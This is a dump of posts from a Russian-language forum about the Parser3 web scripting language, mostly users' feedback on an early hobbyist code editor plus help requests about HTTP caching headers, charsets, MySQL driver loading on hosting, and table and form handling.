@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
\
   ^sections.menu{\
<tr>\
      <td align=\"middle\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
</tr>\
   }\
   \
</table>\
[/code]\
и то, что происходит в документации.\
Просветление гарантирую (100%)."
"26882","Вот он, собственно. \
www.rpro.ru/inescapable.rar\
\
Все предложения выслушаю и постараюсь реализовать. Жду вашей помощи!!!"
"26883","На первый взгляд надо сделать:\
- возможность менять ширину окна (или у меня что-то не работает: окно развернуто по максимуму).\
- в редакторе возможность поменять зеленый цвет табуляции.\
- посветку или подчеркивание парной скобки.\
\
Еще, наверное, будет правильней сделать так, чтобы \
классы подсвечивались со всеми параметрами: ^table::create вместо просто ^table, например."
"26884","Оговорюсь сразу, что это первый блин, все продолжение зависит от вас, парсерщиков. Ибо я им не пользуюсь, а только очень желаю (и могу) помочь в доведении его до ума. \
\
Спасибо за внимание!"
"26885","работать с большим кодом без скролера немного неудобно, а вообще мне нравится."
"26886","Сегодня же вмонтирую. Просто забыл. Написание редактора с нуля и отказ от стандартных методов вывода затмил разум =) Спасибо за заметку."
"26887","Со всеми замечаниеями согласен. Сегодня же все исправлю. Жду новых предложений."
"26888","Я немного поработаю, и вышлю все замечания"
"26889","Наверное нужен автоматический отступ после перехода на новую строку после скобки {.\
\
Для удобства можно сделать настраиваемую подсветку активной строки и подсветку операторов между круглыми скобками."
"26890","Под XP en SP1 часть контролов (видимо русских) отоброжается знаками вопроса."
"26891","1. нет упомянутого скролера\
2. не корректно работает выделение текста\
3. табулятор по умолчанию в 90% программ составляет ширину в 8 пробельных символов. А еще лучше чтобы это настраивалось.\
4. нет определения и преобразования кодировки (у меня 50% сайтов написаны в koi8)\
5. непонятны перемещения курсора при нажатии в пустом пространстве (при таких свободных передвижениях очень трудно отследить пробелы и табуляторы в конце строки)\
6. подсветки синтаксиса нужно сделать побагаче\
7. for и while не самые популярные шаблоны, гораздо популярнее ^if ^menu и ^switch\
8. Непонятен контроль синтаксиса, что он делает, я так и не понял\
9. В быструю навигацию я бы еще добавил ремарки ^rem{} по ним тоже очень удобно переходить.\
10. Если отключены навигация и контроль синтаксиса, нет возможности вернуть их обратно.\
\
Короче доработок еще вагон. Я назвал только то, что сразу бросилось в глаза. Ежели вы продолжите свой труд, думаю он не пропадет зря, но пока о законченности продукта говорить рано."
"26892","masterhost - действительно попадалово.\
net.ru -стабильная и хорошая штука для боле-мене стандартных сайтов. Пользуюсь 2 года. Никаких претензий. Все ограничения явно указаны в документации. Суппорт нормальный.\
Если хотите сами все настраивать, то rusonyx.ru - лучший! Пользуюсь около года. root-доступ: так что можно установить все (какую тебе надо версию APache, Mysql и пр.), что хочешь и какие угодно настройки. Правда, есть и обратная сторона - ты должен все хорошо понимать, никто не следит за безопасностью твоих настроек. Суппорт хороший, отвечал даже на мои поначалу ламерские вопросы."
"26893","1. Находясь на строке 0 нажал кнопочку «del» — получил ошибку «List index out of bounds (65535). То же самое возникает, когда удаляешь весь текст. Лечится перезапуском.\
2. Очень слабая подсветка синтаксиса.\
3. Не работает выделение с клавиатуры (мышкой можно выделить текст, стрелками с нажатой клавишей «Shift» — нельзя)\
4. В автокомплит имеет смысл добавить:\
[code]\
$response:location[uri] \
$response:refresh[ \
   $.value[time] \
   $.url[uri] \
] \
$response:last-modified[дата]\
$response:expires[дата]\
[/code]\
Возможно, имеет смысл добавить еще другие поля.\
5. Не работает копирование (ни комбинация «Ctrl—c», ни «Ctrl—Insert»). Вставить текст можно только по комбинации «Ctrl—v».\
6. Самопроизвольно исчезает меню и тулбар.\
\
Спасибо!\
\
Удачи!\
\
p.s. С какой лицензией выпускаете редактор? Будут ли доступны исходные тексты? Планируете ли вы выложить все на sf.net?"
"26894","1) Принял во внимание, исправлю.\
2) По подсветке я полностью в вашей власти :)\
3) Забыл сделать. Будет.\
4) А такие методы есть? Я пропустил их получается? Или их в хелпе нет?\
5) Как раз занимаюсь буфером обмена\
6) Не понял, это как :) Ни разу не видел, опишите подробнее.\
\
Редактор пока что просто free, потом, если все будет хорошо, возможно и опенсорс."
"26895","О законченности продукта никто не говорит =)\
Я выложил эту версию (практически первую работоспособную) для того, что все ВЫ, парсерщики мне помогли довести дело до рабочего состояния.\
Давайте пожелания по подсветке.\
9 пункт - согласен полностью.\
10 - упс."
"26896","Для расцветки синтаксиса, возможно, имеет смысл использовать библиотеку colorer. Для нее уже есть хорошее описание синтаксиса Парсера, как и html и многих других языков. В результате ваш редактор будет уметь подсвечивать практичски все, что угодно (больше 100 различных форматов)."
"26897","Чтобы вернуть http заголовок нужно определить поле класса $response:<заголовки http ответа>. В автокомплит можно перечислить распространенные заголовки. Что поможет облегчить рукопашный бой и исключитть опечатки."
"26899","Во–первых, сразу не сворачивается — строка меню уходит, окно редактора остается. Во–вторых, после разворачивания строка меню и тулбар не востанавливаются. Окно редактора перерисовыается неправильно, поялвяется мусор."
"26900","Не будете так любезны перечислить, я добавлю."
"26901","Ссылка такая же:\
www.rpro.ru/inescapable.rar\
\
Что подновил (вылечил):\
Удаление и кнопку делит. Выделение. \
Сделал полосу прокрутки (извиняюсь, что небыло раньше ;))\
В автокомплит набираются теперь переменные из данного модуля с указанием типа (пока что только переменные рожденные от базовых классов)\
Сделал автоотступ после перевода строки с символа '{'"
"26902","> 3. табулятор по умолчанию в 90% программ составляет ширину в 8 пробельных символов. А еще лучше чтобы это настраивалось.\
\
Про настройку - согласен. Но мне больше нравится 4 символа :)\
\
> 4. нет определения и преобразования кодировки (у меня 50% сайтов написаны в koi8)\
\
Серьезный вопрос. Но полезный.\
\
> 6. подсветки синтаксиса нужно сделать побагаче\
\
Все еще впереди, я думаю :)\
\
> 7. for и while не самые популярные шаблоны, гораздо популярнее ^if ^menu и ^switch\
\
Кто ж спорит? Согласен.\
\
> 9. В быструю навигацию я бы еще добавил ремарки ^rem{} по ним тоже очень удобно переходить.\
\
Точно. \
\
> Короче доработок еще вагон. Я назвал только то, что сразу бросилось в глаза. Ежели вы продолжите свой труд, думаю он не пропадет зря, но пока о законченности продукта говорить рано.\
\
Это первая альфа, я так понял."
"26903","Возможно, в последствии, стоит добавить и \"механизм обфускации\" (облегчения кода) описанный ниже."
"26904","- нужен поиск по тексту\
- при нажатии enter для создания пустых строк вылетает ошибка access violation...\
- добавьте инфу о программе (url и ваше-мыло, версию...)"
"26905","Не дурная штука, если будет дальше развиваться то будет вообще реально. Багов много правда. \
Желаю тебе удачи в разработке данного пакета програмного обеспечения для разработки сайтов на Parser3."
"26906","I'm terribly sorry about this.\
Действительно, есть такое дело, случайно немного не тот ЕХЕ выложил :(\
Файл заменил, глюка там этого нет. Ссылка прежняя.\
Размер около 200Кб"
"26907","А есть ли смысл подсвечивать \"все что угодно\", если редактор для парсера делается исключительно? ;)"
"26908","можно использовать delphi компоненту TSyntaxMemo, для неё уже тоже есть готовая подсветка синтаксиса Парсера.\
\
Правда, есть пару нехороших моментов - TSyntaxMemo её разработчиками уже не поддерживается, и найти её в сети крайне затруднительно (возможно я просто мест не знаю), плюс в свое время лицензия на её применение стоила денег, как с этим сейчас обстоит дело - не представляю...\
\
TSyntaxMemo используется в HomeSite (и всех IDE на базе HomeSite), PHPEdit (который www.phpedit.com) и т.д."
"26909","... реализовать подсветку как минимум XML(HTML), XSL, SQL(?) и других \"Parser-related\" языков.\
\
\"Всё что угодно\" - это ещё лучше  :)"
"26910","Может просто стоит сделать поддержку пользовательских подсветок? Как в UltraED? Мне кажется, так правильнее."
"26911","Были мысли присовокупить что-нибудь готовое, но потом мысль такая меня оставила и я просто начал писать все сам (обычно так проще выходит)."
"26914",".. причем оба OpenSource\
\
1. Компоненты SynEdit ( http://synedit.sourceforge.net/ ). Написать для них подсвтеку Пасреровского синтаксиса элементарно. Кроме того есть отличный готовый редактор на его базе (с поддержкой ftp и пр.) - вечером найду ссылку.\
\
2. UniRed ( http://www.esperanto.mv.ru/UniRed/RUS/index.html )\
IMHO именно то что и нужно: поддержка огромного количества кодировок, включая UTF-8, подсветка синтаксиса через colorer, поиск с регулярными выражениями и т.д. и т.п.\
\
Лучше взять любой понравившийся и отлаженный набор и на его основе делать IDE, а не заниматься отловом багов в самописном редакторе [это задача не на один месяц].\
\
p.s. В предложеном же редакторе на лицо попытка имитации дельфевого ide, что в данной задаче явно лишнее..."
"26915",">Лучше взять любой понравившийся и отлаженный набор и на его основе делать IDE, а не заниматься отловом багов в самописном редакторе [это задача не на один месяц].\
Может быть Вы и правы, хотя для меня это опыт. Использовать постоянно чужие компоненты это тоже надоесть может ;)\
\
>p.s. В предложеном же редакторе на лицо попытка имитации дельфевого ide, что в данной задаче явно лишнее...\
А что смущает? Расположение окошек? давайте поменяю. ИМХО, это вообще не имеет смысла. Так будет на Делфи, так на Вижуал студио, так на Дримвивер... Всегда найдут сравнение и скажут что это неуместно. Чем именно это неуместно?"
"26916","Вопрос по принципу подготовки текста к отображению.\
Ситуация: В базе хранится не отформатированный текст. Какой существует стандартный механизм форматирования текста после вычитки?\
Мне нужно вставить разделитель перед каждой заглавной буквой в тексте. Как это реализовать средствами Parser?\
$unformated_text[“Зачитан Текст Без форматирования”]\
^unformated_text.match[([А-Я])][‘] – находит все большие буквы. Но мне нужны позиции, для того, что бы в последствии вставить символ разделителя априори. Как это сделать?\
В итоге мне нужно получить:\
\
Зачитан\
Текст\
Без форматирования\
\
--Regards."
"26917","У каждого свое понимание о том, что есть \"лучше\". По мне - лучше проще да лучше. Без гигантомании и поддержки миллионов разных языков..."
"26919","а если завтра к вам придет заказчик и попросит сделать \"тоже самое, но с перламу... ой, но в UTF-8\", вы будете заниматься поиском нового редактора?\
\
P.S. ничего не имею против практики написания редактора, но... что такое [i]редактор для парсера[/i]? (упоминали IDE, но пока виден лишь редактор). то, что есть у него в текущей версии давным давно есть у других редакторов имеющих к тому-же всего [b]намного[/b] больше. может надо было писать плагин для существующего редактора, который делал-бы то, что хотят от IDE?"
"26920","> \"тоже самое, но с перламу... ой, но в UTF-8\"\
\
Против поддержки разных кодировок ничего не имею. Даже совсем наоборот - \"за\".\
\
> что есть у него в текущей версии давным давно есть у других редакторов \
\
Ссылки и названия в студию!!!\
\
> имеющих к тому-же всего намного больше.\
\
Ну, лично мне нужен только удобный редактор для парсера, без поддержки С++ и эсперанто. :)\
\
> может надо было писать плагин для существующего редактора\
\
Осталось лишь найти такой редактор."
"26921","Чем вам помешал еще один редактор?!\
Конечно, легко советовать, что нужно делать, чтобы принести больше пользы, чтобы работать более продуктивно, как лучше делать редактор :) Даже в таком зачаточном виде редактор для Парсера позволит, как минимум, сформулировать список требований к «идеальному IDE» для Парсера. Польза от этого вполне очевидна.\
\
Раз уж вы всем советуете, так я чем хуже :) Почему бы студии Лебедева не выделить грант на разработку IDE для парсера. Предварительно провести конкурс проектов, выбрать лучший и оплатить разработку. Хороший IDE пригодился бы самим сотрудникам студии и способствовал бы популяризации и развитию Парсера.\
\
Спасибо!"
"26922","чем он отличается от \"редакторов [b]не[/b] для парсера\"?\
\
я этого не могу понять. мне надо чтобы я мог делать свою работу одним удобным инструментом. а работать мне приходится с:\
parser, html, xml, xsl, perl, php\
\
и если завтра мне захочется что-нить делать на C.+\\s - мне изучать новый инструмент? зачем?\
\
P.S. ссылок в этом форуме было много, в том числе и на используемый мной, но их реклама в этом треде - это уже ОФФ-топик :)"
"26923","поиграйтесь и попробуйте воплотить в своей программе аналогичный стиль - с автозаполнением кода, подсветкой, object browser - тогда сможете за продукт даже деньги брать. Пока всё КРАЙНЕ сырое.\
\
Если у вас полчится что-то по крайней мере такое же удобное и юзабельное, как редактор VBA для Office (а больше и не надо) - будет супер. Пока же всё ровно наоборот.\
\
-----------\
\
По существу - много окон - неудобно, лучше docking view.\
\
Иконки красивые, но стандартные лучше.\
\
Никакой интеграции с системой (привязка к *.p, например), не наблюдается\
\
Интерфейс хромает нещадно.\
\
-------------\
\
Рекомендации:\
\
Возьмите книгу с http://www.uibook1.ru/ и прочитайте. Запретите себе открывать MSVC, пока не прочитаете от корки до корки. Вернётесь к коду просветлённым с вправленными на место мозгами.\
\
Возьмите хороший простенький текстовый редактор, типа Aditor и скопируйте его, добавив:\
\
- code browser (дерево всех кусков кода, начинающихся на @)\
- code completion\
- древовидный object browser (по образцу дерева из help)\
- debug (с возможностью задать путь к parser3.exe и выводом output в нижнем dock window)\
\
если всё будет как описано, я буду готов заплатить за продукт денег."
"26924","я считаю что:\
0. если не ставить цель сделать хорошо то не стОит и браться\
1. для того, чтобы сделать только хороший [b]редактор[/b] трубуется много человеко-часов + изучение много всего нового\
2. данная работа не может долго продлиться на голом энтузиазме. обычно хочется кушать.\
3. если есть энтузиазм то может лучше найти ему более востребованное применение?"
"26926","Насчет энтузиазма: зря так... я уже не одну программу написал на энтузиазме и они вполне закончены и затребованы ;) Так что мне мешает окунуться в эту среду? Или Вы предлогаете просто бросить все нафиг, потому что Вас мои планы не устраивают?"
"26927","я лишь высказал свои опасения.\
\
в ваших руках их развеять. удачи. :)"
"26928","> и если завтра мне захочется что-нить делать на C.+\\s - мне изучать новый инструмент? зачем?\
\
Затем, чтобы микроскопом не забивать гвозди и молотком не завинчивать шурупы. Каждый инструмент хорош на своем месте. С этим вы не будуте спорить?"
"26929","я пользуюсь [b]редактором[/b], и не предлагаю использовать для редактирования ftp клиент/или какой другой \"микроскоп\".\
\
P.S. не понятно, зачем бросаться в крайности.\
\
P.P.S. лично я предпочитаю [b]одну[/b] электрическую отвертку [b]с насадками[/b] (вместо 30 разных отверток: плоских, крестовых, звездочек, шестигранников внутр. и внешних, к тому-же все разных размеров), и пару топоров (а не десяток).\
\
P....S. с приведением в качестве примера C.+\\s я погорячился :)"
"26930","В студии очень удобно работать над комплексным проектом. Более того, там уже реализована глубокая поддержка html, xml ... к этому всего лишь добавить подсветку для парсера.\
Удобство работы, не отходя от кассы, как говориться.\
Отдельный редактор не уместен. Фар может редактировать все."
"26931","> я пользуюсь редактором, и не предлагаю использовать для редактирования ftp клиент/или какой другой \"микроскоп\".\
\
Ну вот, к примеру, Word - текстовый редактор? Удобно им код править?\
\
> P.P.S. лично я предпочитаю одну электрическую отвертку с насадками (вместо 30 разных отверток: плоских, крестовых, звездочек, шестигранников внутр. и внешних, к тому-же все разных размеров) \
\
Продолжая аналогию с отвертками, замечу, что в часах наручныйх такой отверткой не поковыряться..."
"26933","[i]> Осталось лишь найти такой редактор.[/i]\
\
Одно время думал над этим вопросом, могу предложить на рассмотрение две кандидатуры (на основе личного опыта):\
\
1. [b]HomeSite[/b].\
Плюсы - подсветка уже есть, и вообще в нём есть очень много интересных фичей и возможность добавить таковых ещё больше.\
Минусы - бесперспективный, Макромедия в последнее время с ним особо не напрягается, дико кривая поддержка кодировок вообще и Unicode в частности. Денег стоит ;)\
\
2. [b]Dreamweaver[/b].\
Плюсы - популярность, перспективность, большинство расширений пишутся на относительно лёгких в освоении XML-подобных языках.\
Минусы - позиционируется как WYSIWYG-редактор, в следствии чего при написании кода программисты могут (и будут) постоянно испытывать подсознательный дискомфорт. Денег стоит, тоже ;)\
\
Ну это в общих чертах..."
"26935","Вот про \"денег\" это вы правильно... А это - бесплатно."
"26936","Миша, скажите пожалуйста, как пользоваться этой функцией? Не могу в пятницу вечером понять.."
"26938","Делать поддержку юникода и utf8 буду точно. Я вполне представляю, что без этого не обойдется ни один уважающий себя редактор. Просто непонятно Ваше стремление меня отговорить от выбранного дела ;)"
"26939","Задача состоит в следущем: дана таблица. В ней 1 столбец и неизвестное кол-во строк. Надо создать число переменных = числу строк и заполнить эти переменные значениями этих строк.Если можно, то с кодом пожайлуста."
"26940","Вы уверены что вам нужно именно это?\
Если да то ^table.menu{} вам в руки.\
Также вам возможно будет интересны\
^table.line\
^table.offset\
^table.hash\
\
более подробную информацию можно получить в документации в разделе \"класс table\""
"26941","возможно вам будет очень интересен ^table.flip"
"26942","Не понимаю как можно применить\
^table.line\
^table.offset\
Пробовал работать с ^table.hash но как я понял там придётся работать со вложенным хешем, а вот как с ним работать не понял (а конкретнее с foreach во вложенном хеше)\
  Очень заманчиво выглядит ^table.flip попробую с помощью него чего-нибудь сделать...."
"26945","откройте кто-нибудь исходники своего CMS редактор\
Сейчас по зарез нужен для сайта одного клиента.Расчитывал на CMS sw.Card. Самому писать не когда:экзамены(я и сайт этого клиент кое-как умудряюсь писать).А летом напишу свой, \"честное Парсеровское\".\
(ЦМС-ник Мистера sly вообще примитив!)\
PS:никого не хочу обидеть!"
"26946","^for[count](1;число строк таблицы){ \
			$имя переменной$count[строка таблицы]\
	^имя таблицы.offset(1)\
	}"
"26947","Может для временного варианта надо совсем немного, и написать можно самостоятельно.\
Форум\
Гостевая\
Календарь\
новости\
\
есть на этом сайте, поищите"
"26948","Сделал маленький wap сайт, на Денвере всё работает, а как закинул на net.ru, так перестал работать\
\
вот часть того, что лежит в auto.p у меня, который находиться в каталоге wap:\
[code]\
@auto[]\
\
$request:charset[windows-1251]\
$response:content-type.value[text/vnd.wap.wml] \
$connect-string[mysql://****:****@localhost/db****]\
[/code]\
\
как то странно реагирует парсер на этот код (повторюсь: дома всё работает):\
при обращение к сайту выдается: unknown charset  type: parser.runtime\
закоментировав [code]$request:charset[windows-1251][/code], получаю сообщение: element can not be stored to void  type: parser.runtime, закоментировав [code]$response:content-type.value[text/vnd.wap.wml][/code], сайт открывается, на самой собой там уже text/html ."
"26949","Ну переменные я примерно таким же образом создаю, но для чего нужен offset(1). Lkz xtuj ye;yj 'nj cvtotybt"
"26951","может лучше описать решаемую вами задачу?\
\
если уж делать то, что вами сейчас описано, то лучше использовать .hash:\
\
[code]\
$хеш[^таблица.hash{^таблица.line[]}]\
[/code]\
\
и обращаться соответственно:\
$хеш.номер_строки_который_был_в_таблице.название_столбца\
\
ну а вывести и посмотреть содержимое полученного хеша так:\
[code]\
^хеш.foreach[k;v]{\
	$k = $v.название_столбца\
}[<br />]\
[/code]\
\
P.S. неужели эти 4 строчки сложно написать по доке?"
"26952","Привет!\
Кто-нибудь устанавливал Parser на хостинге Dataforce?\
Установился только Parser 3.1.1 для Linux RedHat CGI+XML, скомпонованый со всеми библиотеками статически.\
Сам Parser работает отлично, ошибка только в работе с MySQL.\
Parser в логе пишет:\
\
'libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module [<no type>]\
\
Пути к библиотекам я здесь убрал. Но в auto.p прописал все как надо... Звонил в тех-поддержку мне помочь не смогли, только дали список путей к разным версиям libmysqlclient.so, но и это к сожалению не помогло.\
Нашел на этом воруме одну ветку с такой же проблемой, но к сожалению там пришли к тому, что проблему решить не удалось.\
Сможете помочь?"
"26953","Помогите пожалуйста правильно распарсить query string в таблицу с помощью функции $string:match[].\
Исходные данные: param1=100&param2=200 (и т. д.)\
Хочеться получить таблицу:\
Name   Value\
------------\
param1   100\
param2   200"
"26958","Не уследил, стыдно.\
Огромное спасибо за оперативность."
"26959","Проблема в следующем: \
на странице есть форма авторизации, вводим логин, пароль, нажимаем submit. Пост проходит, но резельтат поста становится виден только после рефреша. В index.html: \
[code]\
@main[]\
...\
$response:expires[^date::now[]]\
$response:cache-control[no-cache, must-revalidate]\
$response:pragma[no-cache]\
[/code]\
но толку от этого никакого. По форуму искал, много нового вычитал =)\
По идее ведь должно работать? Так?\
P.S. Opera 7.21"
"26960","Вы пытаетесь на одной и той же странице выводить разный контент.\
В первом случае запрос для пароля, во втором страницу модерирования.\
Если я понял все верно, то задача решается просто:\
[code]\
^if(def поле_формы){\
	^показываем_страницу[]\
}{\
	$response:expires[Fri, 23 Mar 2001 09:32:23 GMT]\
	$response:cache-control[no-cache, must-revalidate]\
	$response:pragma[no-cache]\
	^выводим_форму_с_паролем[]\
}\
[/code]"
"26961","Устраивает. Просто написал первый алгоритм, пришедший в голову..."
"26962","Ну, эта... Чтобы по таблице сверху вниз перемещаться..."
"26963","Дело в том, что у меня код сам разберется когда и что показывать. Это относится к вашему ^if. Тут вопрос в другом: почему кэшируется, когда, кажется, не должно? Т.е. после сабмита все работает как и должно, за исключением опреры. Почему она из кэша показывает? С мозилой то же самое. Я на 95% уверен, что сам где-то торможу, но где не понимаю."
"26964","...как в коде Eugene Spearance\
\
и еще попробуйте посмотреть (telnet), что отдается броузеру. дело в том, что после этого эти заголовки может ещё потрогать апач...\
\
а вообще никто не обещает, что произвольный броузер будет слушать заголовки, выдаваемые сервером для кешированию :)\
например, вы могли сказать вашей опере: \"положи на то что выдается сервером, и слушай того, что я сказал тебе в настройках\". и это нормально. \
\
т.е. надо говорить о каких-то настройках (обычно имеют ввиду настройки по умолчанию). проверите какие у вас настройки броузера?"
"26965","... если я смотрю какой-нибудь сайт с вашим классом авторизации, то все ок. Трюк с заранее ложной датой результата не дает. Наверное это апач правит. В httpd.conf есть:\
LoadModule expires_module modules/mod_expires.so\
ExpiresActive On\
ExpiresByType text/html \"access plus 5 seconds\"\
ExpiresByType text/plain \"access plus 5 seconds\"\
ExpiresByType image/gif \"access plus 5 seconds\"\
ExpiresByType image/jpeg \"access plus 5 seconds\"\
ExpiresByType text/css \"access plus 5 seconds\"\
ExpiresByType application/x-javascript \"access plus 5 seconds\""
"26967","Пользоваться я им не умею. Скачал Putty подключился к 192.168.2.1 порт 80, пишу \
GET / HTTP/1.1 host:192.168.2.1 \
и получаю в логе bad request \
Что ваще надо написать?"
"26968","Можноли в код парсера вставлять php код, если можно то как"
"26969","[code]\
cmd\
telnet www.parser.ru 80\
[далее печатаете вслепую или делаете copy/paste заранее из clipboard]\
HEAD /forum/ HTTP/1.1\
Host: www.parser.ru\
[тут два раза ентер]\
[/code]"
"26970","тут как-то советовали неплохой штепсель для Мозиллы, Live HTTP Headers:\
\
http://livehttpheaders.mozdev.org/\
http://downloads.mozdev.org/livehttpheaders/livehttpheaders.xpi\
\
и потом Ctrl+I и закладка Headers, там всё будет."
"26972","Нет.\
Но можно запустить как внешний скрипт.\
Ответ в документации.\
http://www.parser.ru/docs/lang/filecgiexec.htm"
"26974","\"закомментировал\" - это не решение проблемы."
"26976","HTTP/1.1 200 OK\
Date: Sun, 29 Feb 2004 14:46:54 GMT\
Server: Apache/1.3.29 (Win32)\
cache-cintrol: no-cache, must-revalidate\
expires: Fri, 23 Mar 2001 09:32:23 GMT\
pragma: no-cache\
set-cookie: available=yes; expires=Set, 29 May 2004 14:47:03 GMT; path=/\
content-lenght: 1206\
Content-Type: text/html; charset=WINDOWS-1251"
"26977","...это в этом форуме вы откопали такой интересный метод устранения ошибки unknown charset?"
"26978","я обычно пишу: cache-cOntrol :)"
"26979","не знал, как копипэст сделать. На самом деле, конечно, через \"о\""
"26980","но мне кажется, что тут больше уместен copy/paste ответа, в противном случае нет уверенности, что вы в другом месте не \"опечатались\" в правильную сторону когда постили свое сообщение в форум."
"26981","немного изменил auto.p\
[code]\
@auto[] \
$request:charset[windows-1251] \
$response:charset[windows-1251] \
$response:content-type[ \
$.value[text/vnd.wap.wml] \
$.charset[$response:charset] \
]\
[/code]\
не помогает"
"26982","что приходит в заголовках ответа? ( как смотреть заголовки обсуждаем в том числе [url=\"/forum/?id=26959\"]тут[/url] )\
\
если после определения $request:charset у вас перестала появлятся ошибка \"unknown charset type\" - у вас не подключены файлы с кодировками."
"26983","могу порекомендовать HTTPWatch (встраивается в IE)\
http://www.simtec.ltd.uk"
"26984","Это так и писалось - как можно проще. Больше ухватить не удается - сам учусь, как и вы. Будет дописываться, но скорее под именем sw.Refresh. Там все будет по-максимуму. А пока расскажите, что нужно конкретно вам - может люди поделятся чем-то. (ИМХО все свои наработки никто не будет открывать)."
"26985","Может я не совсем правильно выразился я имел в виду исползование php кода не файле с расширением .p а html файле.\
\
Бнапример мне нужно вставить часть баннерной системы <?php some_function() ?> и всё."
"26987","Я так полагаю <?php some_function() ?> что-то возвращает после выполнения.\
Почему бы это не выполнить в отдельном файле а результат выполнения вставить в нужное место.\
Я не спец по этому вопросу, но помоему это делается именно так."
"26988","на данный момент я занялся этим вопросом, если интересно пишите (chip-set(a)mail(.)ru)\
С парсером до этого дела не имел, вот и захотелось попробовать ;-) так что тестеры привествуются. Когда будет готов shar сюда сообщу."
"26989","Нужно чтобы файл автозаполнялся в форму\
Использовал такую конструкцию:\
$photo[^file::load[binary;/unchecked_photo/${news.photo_url}]]\
                   ........\
<form method=\"POST\" enctype=\"multipart/form-data\">\
<input type=\"hidden\" name=\"photo\" value=\"${photo}\">\
                   ........\
^form:photo.save[binary;/checked_photo/${last_id}.^file:justext[$form:photo.name]]\
Как я понимаю, value=\"${photo}\" использовать нельзя...Перепробовал уже почти все, но что-то не знаю...\
Сделать конструкцию \
$file[^file::load[binary;/unchecked_photo/${news.photo_url}]]\
^file.save[binary;/checked_photo/${last_id}.^file:justext[$form:photo.name]]\
тоже не могу, так-как ${news.photo_url} меняется после нажатия сабмита....\
Вопрос:\
Как сделать чтобы вместе с формой передавался файл? Или предложите, как реализвать...\
Огромное спасибо...."
"26990","А лучше, строку для поиска в форуме, я составить не смог. Все время ничего не найдено."
"26992","если интересно, то вот этот тест http://www.farecla.ru/_test.html"
"26994","и постоянно от страницы к странице передавать картинку или файл, то передавайте ссылку места ее расположения. При таком раскладе она прекрасно вставляется в value и сохранение можно сделать на любом этапе."
"26995","В index.html:\
[code]\
$response:expires[Fri, 23 Mar 2001 09:32:23 GMT]\
$response:cache-control[no-cache, must-revalidate]\
$response:pragma[no-cache]\
[/code]\
\
Сервер отдал:\
[code]\
HTTP/1.1 200 OK\
Date: Mon, 01 Mar 2004 04:09:05 GMT\
Server: Apache/1.3.29 (Win32)\
cache-control: no-cache, must-revalidate\
expires: Fri, 23 Mar 2001 09:32:23 GMT\
pragma: no-cache\
set-cookie: available=ok; expires=Sun, 30 May 2004 04:09:20 GMT; path=/\
content-length: 1206\
Content-Type: text/html; charset=WINDOWS-1251\
\
<тут_xml />\
[/code]\
Ни о каких опечетках, сами понимаете, сдесь речи быть не может."
"26996","[code]\
HTTP/1.1 200 OK\
Date: Mon, 01 Mar 2004 04:23:33 GMT\
Server: Apache/1.3.29 (Win32)\
cache-control: no-cache, must-revalidate\
expires: Fri, 23 Mar 2001 09:32:23 GMT\
pragma: no-cache\
set-cookie: sid=%24apr1%24YvQYMI48%24OpW2xP32gTCsQjAOtIkYp1; path=/\
set-cookie: available=ok; expires=Sun, 30 May 2004 04:23:47 GMT; path=/\
content-length: 1206\
Content-Type: text/html; charset=WINDOWS-1251\
[/code]\
Вот после этого поста опера все равно берет страницу из кэша"
"26998","Пробовал такой вариант:\
<input type=\"file\" name=\"photo\" value=\"/unchecked_photo/${news.photo_url}\"\
Но почему-то парсер выдает ошибку, что не может найти файл...\
Полный путь к файлу:/public_html/=\"/unchecked_photo/${news.photo_url}\"\
/${news.photo_url}\
На локалке пробовал писать полный путь с:\\unchecked_photo\\${news.photo_url}\", все работало...\
В чем может быть проблема....\
Люди, помогите, уже на стенку лезу...."
"26999","самый правильный вариант: \
если есть возможность, собрать прямо на той машине, где вам нужен parser, его из исходников.\
\
parser ведь тоже не сам открывает .so файл, он просит стандартную библиотечную функцию dlopen. если она не открывает, значит с данным .so что-то не то совсем.\
\
есть возможность найти взять libmysqlclient.so для этой платформы в любом другом источнике?"
"27000","У них там, как мне сказали в тех-поддержке стоит OpenWall Linux.\
Давали мне очень много разных версий данной библиотеки (libmysqlclient.so), но ничего не изменялось.\
Пробовал собрать из исходников, но за не имением опыта ничего не вышло, выдавалась ошибка... что-то вроде не найдена libgc. \
нашел libgc на хостинге, и прописал к ней полный путь при ./configure. опять же выдавалась ошибка (к сожалению не могу сейчас привести полный текст ошибки, но там было что-то вроде: попробуйте определить путь через --with-static-gc или --with-shared-gc).\
Также пробовал сам собрать gc. Получилось, прописал путь к собранной gc.a. И выдается точно такая же ошибка.\
Пробовал искать libmysqlclient.so в интернете. Что находил не подходило. Либо я плохо искал.\
Может быть стоит обратиться к администраторам хостинга и попросить их собрать Parser для меня?... хотя вряд ли они согласятся ;)... :("
"27001","Пишет: Неверная комбинация имя/пароль.\
Я уже и пароль поменял, все равно не пускает!"
"27002","если у вас есть возможность что-то собирать, значит, если вы найдёте желающего вам помочь, он соберёт.\
\
поищите. сборка parser из исходников не ахти какая сложная штука."
"27003","Пишу в тело документа\
[code]\
<style type=text/css>\
 .тут {что-то}\
 .тут {что-то}\
 .тут {что-то}\
</style>\
[/code]\
В .html странице получаю\
[code]\
<CLEANED_TAG type=text/css>\
 .тут {что-то}\
 .тут {что-то}\
 .тут {что-то}\
</style>\
[/code]\
и естественно стили не работают\
Как избежать?"
"27006","Здравствуйте! Подскажите, сколько максимум можно отсылать за один раз писем, используя класс @mail. Нужно реализовать рассылку где-то на 300 адресов, причем размер письма около 1Мб.\
\
Я это нехитро реализовал на парсере. При большом объеме возникает ошибка:\
такая:\
[Sun Feb 29 20:48:49 2004] out of memory (while expanding string)\
\
или такая:\
[Mon Mar  1 04:32:09 2004] out of memory: failed to allocate clean 1024 bytes. heap_used=31903744, heap_free=0, bytes_since_gc=31596000, total_bytes=31596000\
\
Еще одна деталь. Я не указвал в методе адреса через запятую, а\
сделал все циклом.\
\
У меня возникло впечатление, что я пытаюсь забивать гвозди отверткой.\
Если вы тоже так считаете, то подскажите, пожалуйста, как еще можно реализовать мою задачу?"
"27008","по поводу невозможности залогиниться - подробности мне в почту плиз ( misha собака_такая design.ru )"
"27009","Имя класса содержится в переменной\
\
$class_name[...]\
\
Как вызвать метод этого класса?\
\
^имя_класса_из_переменной:метод[]\
\
Заранее благодарю."
"27010","На text/xml? Тут-то mod_expires и призадумается, но не увидив такого типа - даст незакешированное."
"27011","Пишу в тело парсеровского документа, а после обработки парсером и выдачи пользователю получаю то, что написал"
